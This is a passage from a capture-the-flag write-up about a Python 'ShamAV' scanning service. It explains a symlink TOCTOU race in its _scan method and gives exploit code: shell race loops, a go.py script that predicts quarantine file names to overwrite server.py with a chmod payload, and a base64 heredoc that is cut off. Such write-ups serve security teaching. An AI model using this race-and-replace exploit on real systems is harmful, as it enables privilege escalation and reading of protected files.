class="n">path</span><span class="p">}</span><span class="err">&#39;</span><span class="p">)</span><span class="w"> </span></span></span><span class="line"><span class="cl"><span class="w"> </span><span class="n">return</span><span class="w"> </span><span class="n">res</span><span class="w"> </span></span></span><span class="line"><span class="cl"><span class="w"> </span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="n">SOCKET_FILE</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="err">&#39;</span><span class="n">socket</span><span class="err">&#39;</span><span class="w"> </span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="n">BS</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="err">4096</span><span class="w"> </span></span></span><span class="line"><span class="cl"><span class="w"> </span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="n">def</span><span class="w"> </span><span class="n">recvall</span><span class="p">(</span><span class="n">sock</span><span class="p">)</span><span class="o">:</span><span class="w"> </span></span></span><span class="line"><span class="cl"><span class="w"> </span><span class="n">chunks</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">[]</span><span class="w"> </span></span></span><span class="line"><span class="cl"><span class="w"> </span><span class="n">while</span><span class="w"> </span><span class="n">True</span><span class="o">:</span><span class="w"> </span></span></span><span class="line"><span class="cl"><span class="w"> </span><span class="n">chunk</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">sock</span><span class="p">.</span><span class="n">recv</span><span class="p">(</span><span class="n">BS</span><span class="p">)</span><span class="w"> </span></span></span><span class="line"><span class="cl"><span class="w"> </span><span class="n">if</span><span class="w"> </span><span class="n">chunk</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="n">b</span><span class="err">&#39;&#39;</span><span class="o">:</span><span class="w"> </span></span></span><span class="line"><span class="cl"><span class="w"> </span><span class="n">return</span><span class="w"> </span><span class="n">b</span><span class="err">&#39;&#39;</span><span class="p">.</span><span class="n">join</span><span class="p">(</span><span class="n">chunks</span><span class="p">)</span><span class="w"> </span></span></span><span class="line"><span class="cl"><span class="w"> </span><span class="n">chunks</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="n">chunk</span><span class="p">)</span><span class="w"> </span></span></span><span class="line"><span class="cl"><span class="w"> </span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="n">while</span><span class="w"> </span><span class="n">True</span><span class="o">:</span><span class="w"> </span></span></span><span class="line"><span class="cl"><span class="w"> </span><span class="n">if</span><span class="w"> </span><span class="n">STDIO_DEBUG</span><span class="o">:</span><span class="w"> </span></span></span><span class="line"><span class="cl"><span class="w"> </span><span class="n">try</span><span class="o">:</span><span class="w"> </span></span></span><span class="line"><span class="cl"><span class="w"> </span><span class="n">path</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">input</span><span class="p">()</span><span class="w"> </span></span></span><span class="line"><span class="cl"><span class="w"> </span><span class="n">except</span><span class="w"> </span><span class="n">EOFError</span><span class="o">:</span><span class="w"> </span></span></span><span class="line"><span class="cl"><span class="w"> </span><span class="n">break</span><span class="w"> </span></span></span><span class="line"><span class="cl"><span class="w"> </span><span class="n">print</span><span class="p">(</span><span class="n">f</span><span class="err">&#39;</span><span class="n">Scan</span><span class="w"> </span><span class="n">result</span><span class="o">:</span><span class="w"> </span><span class="p">{</span><span class="n">scan</span><span class="p">(</span><span class="n">path</span><span class="p">)}</span><span class="err">&#39;</span><span class="p">)</span><span class="w"> </span></span></span><span class="line"><span class="cl"><span class="w"> </span><span class="n">else</span><span class="o">:</span><span class="w"> </span></span></span><span class="line"><span class="cl"><span class="w"> </span><span class="n">with</span><span class="w"> </span><span class="n">socket</span><span class="p">.</span><span class="n">socket</span><span class="p">(</span><span class="n">socket</span><span class="p">.</span><span class="n">AF_UNIX</span><span class="p">,</span><span class="w"> </span><span class="n">socket</span><span class="p">.</span><span class="n">SOCK_STREAM</span><span class="p">)</span><span class="w"> </span><span class="n">as</span><span class="w"> </span><span class="n">s</span><span class="o">:</span><span class="w"> </span></span></span><span class="line"><span class="cl"><span class="w"> </span><span class="n">try</span><span class="o">:</span><span class="w"> </span></span></span><span class="line"><span class="cl"><span class="w"> </span><span class="n">os</span><span class="p">.</span><span class="n">unlink</span><span class="p">(</span><span class="n">SOCKET_FILE</span><span class="p">)</span><span class="w"> </span></span></span><span class="line"><span class="cl"><span class="w"> </span><span class="n">except</span><span class="w"> </span><span class="n">FileNotFoundError</span><span class="o">:</span><span class="w"> </span></span></span><span class="line"><span class="cl"><span class="w"> </span><span class="n">pass</span><span class="w"> </span></span></span><span class="line"><span class="cl"><span class="w"> </span><span class="n">s</span><span class="p">.</span><span class="n">bind</span><span class="p">(</span><span class="n">SOCKET_FILE</span><span class="p">)</span><span class="w"> </span></span></span><span class="line"><span class="cl"><span class="w"> </span><span class="n">os</span><span class="p">.</span><span class="n">chmod</span><span class="p">(</span><span class="n">SOCKET_FILE</span><span class="p">,</span><span class="w"> </span><span class="err">0</span><span class="n">o777</span><span class="p">)</span><span class="w"> </span></span></span><span class="line"><span class="cl"><span class="w"> </span><span class="n">s</span><span class="p">.</span><span class="n">listen</span><span class="p">()</span><span class="w"> </span></span></span><span class="line"><span class="cl"><span class="w"> </span><span class="n">while</span><span class="w"> </span><span class="n">True</span><span class="o">:</span><span class="w"> </span></span></span><span class="line"><span class="cl"><span class="w"> </span><span class="n">log</span><span class="p">(</span><span class="n">f</span><span class="err">&#39;</span><span class="p">[</span><span class="n">I</span><span class="p">]</span><span class="w"> </span><span class="n">Ready</span><span class="w"> </span><span class="n">for</span><span class="w"> </span><span class="n">the</span><span class="w"> </span><span class="n">next</span><span class="w"> </span><span class="n">client</span><span class="err">&#39;</span><span class="p">)</span><span class="w"> </span></span></span><span class="line"><span class="cl"><span class="w"> </span><span class="n">conn</span><span class="p">,</span><span class="w"> </span><span class="n">_</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">s</span><span class="p">.</span><span class="n">accept</span><span class="p">()</span><span class="w"> </span></span></span><span class="line"><span class="cl"><span class="w"> </span><span class="n">res</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">scan</span><span class="p">(</span><span class="n">recvall</span><span class="p">(</span><span class="n">conn</span><span class="p">).</span><span class="n">decode</span><span class="p">(</span><span class="n">errors</span><span class="o">=</span><span class="err">&#39;</span><span class="n">surrogateescape</span><span class="err">&#39;</span><span class="p">))</span><span class="w"> </span></span></span><span class="line"><span class="cl"><span class="w"> </span><span class="n">log</span><span class="p">(</span><span class="n">f</span><span class="err">&#39;</span><span class="p">[</span><span class="n">I</span><span class="p">]</span><span class="w"> </span><span class="n">Scan</span><span class="w"> </span><span class="n">result</span><span class="o">:</span><span class="w"> </span><span class="p">{</span><span class="n">res</span><span class="p">}</span><span class="err">&#39;</span><span class="p">)</span><span class="w"> </span></span></span><span class="line"><span class="cl"><span class="w"> </span><span class="n">try</span><span class="o">:</span><span class="w"> </span></span></span><span class="line"><span class="cl"><span class="w"> </span><span class="n">conn</span><span class="p">.</span><span class="n">sendall</span><span class="p">(</span><span class="n">res</span><span class="p">.</span><span class="n">encode</span><span class="p">())</span><span class="w"> </span></span></span><span class="line"><span class="cl"><span class="w"> </span><span class="n">except</span><span class="w"> </span><span class="n">OSError</span><span class="w"> </span><span class="n">as</span><span class="w"> </span><span class="n">e</span><span class="o">:</span><span class="w"> </span></span></span><span class="line"><span class="cl"><span class="w"> </span><span class="n">log</span><span class="p">(</span><span class="n">f</span><span class="err">&#39;</span><span class="p">[</span><span class="n">E</span><span class="p">]</span><span class="w"> </span><span class="n">OS</span><span class="w"> </span><span class="n">error</span><span class="w"> </span><span class="n">on</span><span class="w"> </span><span class="n">sendall</span><span class="o">:</span><span class="w"> </span><span class="p">{</span><span class="n">e</span><span class="p">}</span><span class="err">&#39;</span><span class="p">)</span></span></span></code></pre></td></tr></table> </div> </div><p>and the <code>launch.sh</code>:</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt"> 1 </span><span class="lnt"> 2 </span><span class="lnt"> 3 </span><span class="lnt"> 4 </span><span class="lnt"> 5 </span><span class="lnt"> 6 </span><span class="lnt"> 7 </span><span class="lnt"> 8 </span><span class="lnt"> 9 </span><span class="lnt">10 </span><span class="lnt">11 </span><span class="lnt">12 </span><span class="lnt">13 </span><span class="lnt">14 </span><span class="lnt">15 </span><span class="lnt">16 </span><span class="lnt">17 </span><span class="lnt">18 </span><span class="lnt">19 </span><span class="lnt">20 </span><span class="lnt">21 </span><span class="lnt">22 </span><span class="lnt">23 </span><span class="lnt">24 </span><span class="lnt">25 </span><span class="lnt">26 </span><span class="lnt">27 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-shell" data-lang="shell"><span class="line"><span class="cl"><span class="cp">#! /usr/bin/env bash </span></span></span><span class="line"><span class="cl"><span class="cp"></span> </span></span><span class="line"><span class="cl"><span class="nb">set</span> -e </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="nb">cd</span> <span class="s2">&#34;</span><span class="k">$(</span>dirname -- <span class="s2">&#34;</span><span class="si">${</span><span class="nv">BASH_SOURCE</span><span class="p">[0]</span><span class="si">}</span><span class="s2">&#34;</span><span class="k">)</span><span class="s2">&#34;</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="k">function</span> main <span class="o">{</span> </span></span><span class="line"><span class="cl"> <span class="nb">echo</span> <span class="s2">&#34;----- Welcome to ShamAV, version alpha 0.0.1 -----&#34;</span> </span></span><span class="line"><span class="cl"> <span class="nb">echo</span> <span class="s2">&#34;***** Begin System information *****&#34;</span> </span></span><span class="line"><span class="cl"> <span class="nb">echo</span> <span class="s2">&#34;Working directory: </span><span class="k">$(</span><span class="nb">pwd</span><span class="k">)</span><span class="s2">&#34;</span> </span></span><span class="line"><span class="cl"> <span class="nb">echo</span> <span class="s2">&#34;Directory listing:&#34;</span> </span></span><span class="line"><span class="cl"> ls -la </span></span><span class="line"><span class="cl"> <span class="nb">echo</span> <span class="s2">&#34;***** End System information *****&#34;</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"> <span class="k">while</span> true<span class="p">;</span> <span class="k">do</span> </span></span><span class="line"><span class="cl"> <span class="o">(</span> <span class="nb">umask</span> 077<span class="p">;</span> head -c <span class="m">32</span> /dev/urandom <span class="p">|</span> base64 &gt; seed <span class="o">)</span> </span></span><span class="line"><span class="cl"> <span class="k">if</span> ./server.py 2&gt;<span class="p">&amp;</span>1<span class="p">;</span> <span class="k">then</span> </span></span><span class="line"><span class="cl"> <span class="nb">echo</span> <span class="s2">&#34;[I] Launcher shutting down...&#34;</span> </span></span><span class="line"><span class="cl"> <span class="nb">break</span> </span></span><span class="line"><span class="cl"> <span class="k">fi</span> </span></span><span class="line"><span class="cl"> <span class="nb">echo</span> <span class="s2">&#34;[!] ShamAV server has crashed, restarting in 1 second...&#34;</span> </span></span><span class="line"><span class="cl"> sleep <span class="m">1</span> </span></span><span class="line"><span class="cl"> <span class="nb">echo</span> <span class="s2">&#34;[I] Restarting ShamAV server&#34;</span> </span></span><span class="line"><span class="cl"> <span class="k">done</span> </span></span><span class="line"><span class="cl"><span class="o">}</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl">main &gt; av.log</span></span></code></pre></td></tr></table> </div> </div><p>The vuln is in <code>_scan</code> method:</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt"> 1 </span><span class="lnt"> 2 </span><span class="lnt"> 3 </span><span class="lnt"> 4 </span><span class="lnt"> 5 </span><span class="lnt"> 6 </span><span class="lnt"> 7 </span><span class="lnt"> 8 </span><span class="lnt"> 9 </span><span class="lnt">10 </span><span class="lnt">11 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">_scan</span><span class="p">(</span><span class="n">path</span><span class="p">:</span> <span class="nb">str</span><span class="p">):</span> </span></span><span class="line"><span class="cl"> <span class="n">log</span><span class="p">(</span><span class="sa">f</span><span class="s1">&#39;[I] Scanning file </span><span class="si">{</span><span class="n">path</span><span class="si">}</span><span class="s1">&#39;</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> <span class="k">try</span><span class="p">:</span> </span></span><span class="line"><span class="cl"> <span class="k">if</span> <span class="n">os</span><span class="o">.</span><span class="n">lstat</span><span class="p">(</span><span class="n">path</span><span class="p">)</span><span class="o">.</span><span class="n">st_uid</span> <span class="o">!=</span> <span class="n">USER_UID</span><span class="p">:</span> <span class="c1"># check</span> </span></span><span class="line"><span class="cl"> <span class="k">return</span> <span class="s2">&#34;You do not have permission to scan this item&#34;</span> </span></span><span class="line"><span class="cl"> <span class="k">except</span> <span class="ne">OSError</span> <span class="k">as</span> <span class="n">e</span><span class="p">:</span> </span></span><span class="line"><span class="cl"> <span class="k">return</span> <span class="sa">f</span><span class="s1">&#39;Error from OS: </span><span class="si">{</span><span class="n">e</span><span class="si">}</span><span class="s1">&#39;</span> </span></span><span class="line"><span class="cl"> <span class="n">target_path</span> <span class="o">=</span> <span class="sa">f</span><span class="s1">&#39;/home/antivirus/quarantine/sham-av-</span><span class="si">{</span><span class="n">genrandom</span><span class="p">()</span><span class="si">}</span><span class="s1">&#39;</span> </span></span><span class="line"><span class="cl"> <span class="n">log</span><span class="p">(</span><span class="sa">f</span><span class="s1">&#39;[D] Copying file from </span><span class="si">{</span><span class="n">path</span><span class="si">}</span><span class="s1"> to </span><span class="si">{</span><span class="n">target_path</span><span class="si">}</span><span class="s1">&#39;</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> <span class="k">try</span><span class="p">:</span> </span></span><span class="line"><span class="cl"> <span class="n">shutil</span><span class="o">.</span><span class="n">copyfile</span><span class="p">(</span><span class="n">path</span><span class="p">,</span> <span class="n">target_path</span><span class="p">)</span> <span class="c1"># used</span></span></span></code></pre></td></tr></table> </div> </div><p>We can create a file which belongs to <code>ctf</code> to bypass the check of <code>USER_UID</code>, then remove the file and create a symbol link to <code>/home/antivirus/seed</code> with the same name instantly. In a lucky moment, the <code>/home/antivirus/seed</code>file is copied to <code>/home/antivirus/quarantine</code>, so we can read the content of <code>seed</code> and get its data.</p> <p>Once we get <code>seed</code>, we can generate and forecast all the next <code>sha-256</code> digest values using <code>genrandom</code> method in <code>server.py</code>.</p> <h3 class="heading-element" id="solution-3"><span>Solution</span> <a href="#solution-3" class="heading-mark"> <svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg> </a> </h3><p>The steps:</p> <ul> <li> <p>use symbol link attack to leak seed data and calculate the next <code>sha-256</code> hash values</p> </li> <li> <p>create many soft symbol links in <code>/home/antivirus/quarantine</code> with the format <code>/home/antivirus/quarantine/sham-av-{known-digest-value}</code>, all of these links point to <code>/home/antivirus/server.py</code></p> </li> <li> <p>create a file <code>/home/ctf/server.py</code>, with content:</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span><span class="lnt">2 </span><span class="lnt">3 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="ch">#!/usr/bin/env python3</span> </span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">os</span> </span></span><span class="line"><span class="cl"><span class="n">os</span><span class="o">.</span><span class="n">system</span><span class="p">(</span><span class="s1">&#39;chmod 777 /home/antivirus/flag.txt&#39;</span><span class="p">)</span></span></span></code></pre></td></tr></table> </div> </div></li> <li> <p>execute <code>/home/ctf/bin/scan /home/ctf/server.py</code> to replace the <code>/home/antivirus/server.py</code> with <code>/home/ctf/server.py</code></p> </li> <li> <p>remove all file in <code>/home/antivirus/quarantine</code></p> </li> <li> <p>try to <code>toctou</code> attack <code>/home/antivirus/flag.txt</code> and in a moment, an exception is raised when <code>shutil.copyfile</code> is called, because the parameter <code>src</code> which point to <code>/home/antivirus/flag.txt</code> is not readable</p> </li> <li> <p><code>launch.sh</code> would execute <code>./server.py</code> again, but the file has been replaced, so <code>os.system(chmod 777 flag.txt)</code> is executed</p> </li> </ul> <h3 class="heading-element" id="exp-4"><span>EXP</span> <a href="#exp-4" class="heading-mark"> <svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg> </a> </h3><p>First, use following command to create three bash scripts:</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-shell" data-lang="shell"><span class="line"><span class="cl"><span class="nb">echo</span> -e <span class="s1">&#39;#!/bin/sh\nwhile true; do rm -rf /home/ctf/flag;touch /home/ctf/flag;rm -rf /home/ctf/flag;ln -s /home/antivirus/seed /home/ctf/flag;sleep 0.1; done&#39;</span> &gt; exp1.sh <span class="o">&amp;&amp;</span> <span class="nb">echo</span> -e <span class="s1">&#39;#!/bin/sh\nwhile true; do rm -rf /home/ctf/flag;touch /home/ctf/flag;rm -rf /home/ctf/flag;ln -s /home/antivirus/flag.txt /home/ctf/flag; done&#39;</span> &gt; exp2.sh <span class="o">&amp;&amp;</span> <span class="nb">echo</span> -e <span class="s1">&#39;#!/bin/sh\nwhile true; do /home/ctf/bin/scan /home/ctf/flag; done&#39;</span> &gt; attack.sh <span class="o">&amp;&amp;</span> chmod +x *.sh</span></span></code></pre></td></tr></table> </div> </div><p>Then, execute:</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span><span class="lnt">2 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">timeout <span class="m">60</span> ./exp1.sh <span class="p">&amp;</span> </span></span><span class="line"><span class="cl">timeout <span class="m">60</span> ./attack.sh</span></span></code></pre></td></tr></table> </div> </div><p>Now, the seed file has been copied to <code>/home/antivirus/quarantine</code>, create a symbol link <code>/home/ctf/seed</code> to point to the seed file in <code>/home/antivirus/quarantine</code></p> <p>Use <code>base64</code> to write <code>go.py</code>:</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt"> 1 </span><span class="lnt"> 2 </span><span class="lnt"> 3 </span><span class="lnt"> 4 </span><span class="lnt"> 5 </span><span class="lnt"> 6 </span><span class="lnt"> 7 </span><span class="lnt"> 8 </span><span class="lnt"> 9 </span><span class="lnt">10 </span><span class="lnt">11 </span><span class="lnt">12 </span><span class="lnt">13 </span><span class="lnt">14 </span><span class="lnt">15 </span><span class="lnt">16 </span><span class="lnt">17 </span><span class="lnt">18 </span><span class="lnt">19 </span><span class="lnt">20 </span><span class="lnt">21 </span><span class="lnt">22 </span><span class="lnt">23 </span><span class="lnt">24 </span><span class="lnt">25 </span><span class="lnt">26 </span><span class="lnt">27 </span><span class="lnt">28 </span><span class="lnt">29 </span><span class="lnt">30 </span><span class="lnt">31 </span><span class="lnt">32 </span><span class="lnt">33 </span><span class="lnt">34 </span><span class="lnt">35 </span><span class="lnt">36 </span><span class="lnt">37 </span><span class="lnt">38 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">base64</span><span class="o">,</span> <span class="nn">hashlib</span><span class="o">,</span> <span class="nn">os</span> </span></span><span class="line"><span class="cl"><span class="n">ctr</span> <span class="o">=</span> <span class="mi">0</span> </span></span><span class="line"><span class="cl"><span class="n">CTR_LENGTH</span> <span class="o">=</span> <span class="mi">256</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s1">&#39;seed&#39;</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span> </span></span><span class="line"><span class="cl"> <span class="n">seed</span> <span class="o">=</span> <span class="n">base64</span><span class="o">.</span><span class="n">b64decode</span><span class="p">(</span><span class="n">f</span><span class="o">.</span><span class="n">read</span><span class="p">())</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">genrandom</span><span class="p">():</span> </span></span><span class="line"><span class="cl"> <span class="k">global</span> <span class="n">ctr</span> </span></span><span class="line"><span class="cl"> <span class="n">result</span> <span class="o">=</span> <span class="n">hashlib</span><span class="o">.</span><span class="n">sha256</span><span class="p">(</span><span class="n">ctr</span><span class="o">.</span><span class="n">to_bytes</span><span class="p">(</span><span class="n">CTR_LENGTH</span><span class="p">,</span> <span class="n">byteorder</span><span class="o">=</span><span class="s1">&#39;little&#39;</span><span class="p">)</span> <span class="o">+</span> <span class="n">seed</span><span class="p">)</span><span class="o">.</span><span class="n">hexdigest</span><span class="p">()</span> </span></span><span class="line"><span class="cl"> <span class="n">ctr</span> <span class="o">+=</span> <span class="mi">1</span> </span></span><span class="line"><span class="cl"> <span class="k">return</span> <span class="n">result</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="n">data</span> <span class="o">=</span> <span class="s2">&#34;&#34;&#34;#! /usr/bin/env python3 </span></span></span><span class="line"><span class="cl"><span class="s2">import os </span></span></span><span class="line"><span class="cl"><span class="s2">os.system(&#34;chmod 777 /home/antivirus/flag.txt&#34;) </span></span></span><span class="line"><span class="cl"><span class="s2">&#34;&#34;&#34;</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s2">&#34;/home/ctf/server.py&#34;</span><span class="p">,</span> <span class="s2">&#34;wt&#34;</span><span class="p">,</span> <span class="n">encoding</span><span class="o">=</span><span class="s1">&#39;utf-8&#39;</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span> </span></span><span class="line"><span class="cl"> <span class="n">f</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="n">data</span><span class="o">.</span><span class="n">replace</span><span class="p">(</span><span class="s2">&#34;</span><span class="se">\r\n</span><span class="s2">&#34;</span><span class="p">,</span> <span class="s2">&#34;</span><span class="se">\n</span><span class="s2">&#34;</span><span class="p">))</span> </span></span><span class="line"><span class="cl"> <span class="n">f</span><span class="o">.</span><span class="n">flush</span><span class="p">()</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="n">os</span><span class="o">.</span><span class="n">system</span><span class="p">(</span><span class="s2">&#34;chmod +x /home/ctf/server.py&#34;</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mh">0x200</span><span class="p">):</span> </span></span><span class="line"><span class="cl"> <span class="n">filepath</span> <span class="o">=</span> <span class="sa">f</span><span class="s1">&#39;/home/antivirus/quarantine/sham-av-</span><span class="si">{</span><span class="n">genrandom</span><span class="p">()</span><span class="si">}</span><span class="s1">&#39;</span> </span></span><span class="line"><span class="cl"> <span class="k">if</span> <span class="ow">not</span> <span class="n">os</span><span class="o">.</span><span class="n">path</span><span class="o">.</span><span class="n">exists</span><span class="p">(</span><span class="n">filepath</span><span class="p">):</span> </span></span><span class="line"><span class="cl"> <span class="n">os</span><span class="o">.</span><span class="n">system</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;ln -s /home/antivirus/server.py </span><span class="si">{</span><span class="n">filepath</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="c1"># replace server.py</span> </span></span><span class="line"><span class="cl"><span class="n">os</span><span class="o">.</span><span class="n">system</span><span class="p">(</span><span class="s2">&#34;/home/ctf/bin/scan /home/ctf/server.py&#34;</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="c1"># remove all files</span> </span></span><span class="line"><span class="cl"><span class="n">os</span><span class="o">.</span><span class="n">system</span><span class="p">(</span><span class="s2">&#34;rm -rf /home/antivirus/quarantine/*&#34;</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="c1"># check</span> </span></span><span class="line"><span class="cl"><span class="n">os</span><span class="o">.</span><span class="n">system</span><span class="p">(</span><span class="s2">&#34;ls -al /home/antivirus/quarantine&#34;</span><span class="p">)</span> </span></span><span class="line"><span class="cl"><span class="n">os</span><span class="o">.</span><span class="n">system</span><span class="p">(</span><span class="s2">&#34;ls -al /home/antivirus/server.py&#34;</span><span class="p">)</span></span></span></code></pre></td></tr></table> </div> </div><p>And, execute command:</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt"> 1 </span><span class="lnt"> 2 </span><span class="lnt"> 3 </span><span class="lnt"> 4 </span><span class="lnt"> 5 </span><span class="lnt"> 6 </span><span class="lnt"> 7 </span><span class="lnt"> 8 </span><span class="lnt"> 9 </span><span class="lnt">10 </span><span class="lnt">11 </span><span class="lnt">12 </span><span class="lnt">13 </span><span class="lnt">14 </span><span class="lnt">15 </span><span class="lnt">16 </span><span class="lnt">17 </span><span class="lnt">18 </span><span class="lnt">19 </span><span class="lnt">20 </span><span class="lnt">21 </span><span class="lnt">22 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">cat &gt; tmp <span class="s">&lt;&lt; EOF </span></span></span><span class="line"><span class="cl"><span class="s">aW1wb3J0IGJhc2U2NCwgaGFzaGxpYiwgb3MKY3RyID0gMApDVFJfTEVOR1RIID0gMjU2Cgp3aXRo </span></span></span><span class="line"><span class="cl"><span class="s">IG9wZW4oJ3NlZWQnKSBhcyBmOgogICAgc2VlZCA9IGJhc2U2NC5iNjRkZWNvZGUoZi5yZWFkKCkp </span></span></span><span class="line"><span class="cl"><span class="s">CgpkZWYgZ2VucmFuZG9tKCk6CiAgICBnbG9iYWwgY3RyCiAgICByZXN1bHQgPSBoYXNobGliLnNo </span></span></span><span class="line"><span class="cl"><span class="s">YTI1NihjdHIudG9fYnl0ZXMoQ1RSX0xFTkdUSCwgYnl0ZW9yZGVyPSdsaXR0bGUnKSArIHNlZWQp </span></span></span><span class="line"><span class="cl"><span class="s">LmhleGRpZ2VzdCgpCiAgICBjdHIgKz0gMQogICAgcmV0dXJuIHJlc3VsdAoKZGF0YSA9ICIiIiMh </span></span></span><span class="line"><span class="cl"><span class="s">IC91c3IvYmluL2VudiBweXRob24zCmltcG9ydCBvcwpvcy5zeXN0ZW0oImNobW9kIDc3NyAvaG9t </span></span></span><span class="line"><span class="cl"><span class="s">ZS9hbnRpdmlydXMvZmxhZy50eHQiKQoiIiIKCndpdGggb3BlbigiL2hvbWUvY3RmL3NlcnZlci5w </span></span></span><span class="line"><span class="cl"><span class="s">eSIsICJ3dCIsIGVuY29kaW5nPSd1dGYtOCcpIGFzIGY6CiAgICBmLndyaXRlKGRhdGEucmVwbGFj </span></span></span><span class="line"><span class="cl"><span class="s">ZSgiXHJcbiIsICJcbiIpKQogICAgZi5mbHVzaCgpCgpvcy5zeXN0ZW0oImNobW9kICt4IC9ob21l </span></span></span><span class="line"><span class="cl"><span class="s">L2N0Zi9zZXJ2ZXIucHkiKQoKZm9yIGkgaW4gcmFuZ2UoMHgyMDApOgogICAgZmlsZXBhdGggPSBm </span></span></span><span class="line"><span class="cl"><span class="s">Jy9ob21lL2FudGl2aXJ1cy9xdWFyYW50aW5lL3NoYW0tYXYte2dlbnJhbmRvbSgpfScKICAgIGlm </span></span></span><span class="line"><span class="cl"><span 